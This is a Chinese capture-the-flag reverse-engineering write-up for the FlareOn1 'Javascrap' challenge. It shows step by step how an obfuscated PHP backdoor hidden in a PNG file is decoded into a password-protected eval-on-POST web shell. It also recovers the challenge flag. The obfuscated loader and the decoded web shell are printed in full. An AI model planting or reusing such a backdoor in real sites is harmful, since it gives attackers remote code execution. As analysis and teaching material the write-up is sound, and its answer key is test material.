CTF逆向-[FlareOn1]Javascrap-web逆向中发现的php后门的逐步解析方式，得到后门的密码

CTF逆向-[FlareOn1]Javascrap-web逆向中发现的php后门的逐步解析方式，得到后门的密码

来源：https://buuoj.cn/

内容：

附件：链接：https://pan.baidu.com/s/1N2bN_TueCtuqTkNlE3tKeA?pwd=hqxm 提取码：hqxm

答案：[email protected]

总体思路

文件夹名字是c2，猜测是后门，故发现html文件中存在异常include

查看include的文件发现php代码

解析代码发现后门post的参数

通过脑洞和直觉解析参数得到flag

详细步骤

• 拿到题目发现是一个html文件，观察整个文件，发现文件尾部有个，猜测是一个后门

  • 
  • 

• 找到目录下的flare-on.png，拖进010editor(CTF逆向-常用的逆向工具 提取码：pnbt )里面查看，发现文件尾部存在一些php执行

• 将其复制出来稍作处理

  •  
      $terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");
      $order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
      $do_me="";
      for($i=0;$i<count($order);$i++){
        $do_me=$do_me.$terms[$order[$i]];
      }
        eval($do_me); 
    ?>
    

• 在python中还原它

  • order = [59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24,
             1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47]
    terms = ["M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U",
             "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|"]
    
    result = [terms[x] for x in order]
    content = ''.join(result)
    print(content)
    # $_= 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';
    # $__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';
    # $___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
    # eval($___($__));
    

• 发现"\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"就是$code=base64_decode($_);eval($code);

• 进一步处理，得到解码值

  • php_final_content = 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9'
    php_final_content = base64.b64decode(php_final_content)
    print(php_final_content.decode())
    # if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }
    

  • if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }
    

• 发现两个字符串，之间存在一些区别，如第三个字符，第一个字符串的\49在第二个字符串里面是\x31，发现0x31其实就是49的16进制值。推测出将会做替换，将\XX变换为chr(xx)。得到解码方法将带【\】的字符按整数类型寻找对应的ascii码

  • "\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"
  • "\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"

• def get_result(php_post:str)->str:
    php_post = php_post.split('\\')[1:]
  
    # 将带【\】的字符按整数类型寻找对应的ascii码
    def convert(x: str) -> str:
        if x[0] == 'x':  # 16进制数
            return struct.unpack(',bytes.fromhex(x[1:]))[0]
        return int(x)
  
    php_post = [convert(x) for x in php_post]
    php_post = [chr(x) for x in php_post]
    php_post = ''.join(php_post)
    return php_post
  
  php_post = r'\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D'
  print(get_result(php_post)) # a11DOTthatDOTjava5crapATflareDASHonDOTcom
  
  php_post = r'\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D'
  print(get_result(php_post)) # a11DOTthatDOTjava5crapATflareDASHonDOTcom
  
  

• 得到答案a11DOTthatDOTjava5crapATflareDASHonDOTcom

• 根据description.txt中的提示，flag格式为flag{[email protected]}

• 故将答案中的DOT替换为.，DASH替换为-，AT替换为@，得到结果为[email protected]

其他文档

• Python反汇编方法 Python的pyc字节码反编译反汇编相关知识

• CTF逆向-常用的逆向工具 提取码：pnbt

• B站教程中国某省队CTF集训(逆向工程部分)

  • 中国某省队CTF集训(逆向工程部分)(已授权)(一)
  • 基础加密方式例如 XXTEA、Base64换表
  • Python库 Z3 方程式、不定式等的 约束求解
  • 基础的假跳转花指令(脏字节)
  • 非自然程序流程
    • 扁平化程序控制流
    • OLLVM程序流程（虚拟机壳） 很难一般不考
    • ida里面按X键跟踪，寻找所有Ty为w的引用（即类型是写入的），通常就是关键位置
  • 中国某省队CTF集训(逆向工程部分)(已授权)(二)
  • ollydb动调去壳，upx为例子
  • python的逆向和自定义虚拟指令
    • 使用pycdc 提取码：dorr 解密python编译的exe或者pyc
    • 逐条去解析用py字典手动实现的指令调用
    • C++编译的程序的逆向
  • 中国某省队CTF集训(逆向工程部分)(已授权)(三)
    • 简单模运算加密
    • base58 寻找一下特别大的数，这种数通常是算法的标识，或者ida7.7版本以上自带的find crypt插件ctrl+alt+f
    • 常见的关键位置是有新的内存分配的地方通常是关键地方，或者函数中间突然return的地方也是
    • 迷宫题 注意绘制出来就好
    • 动调题
      • 注意观察会执行的反调试分支，例如出现int 3，需要跳过去

• 基本知识

  • 大小端序

更多CTF逆向题通用性做法和常用工具下载参考该博文内容：CTF逆向Reverse题的玩法

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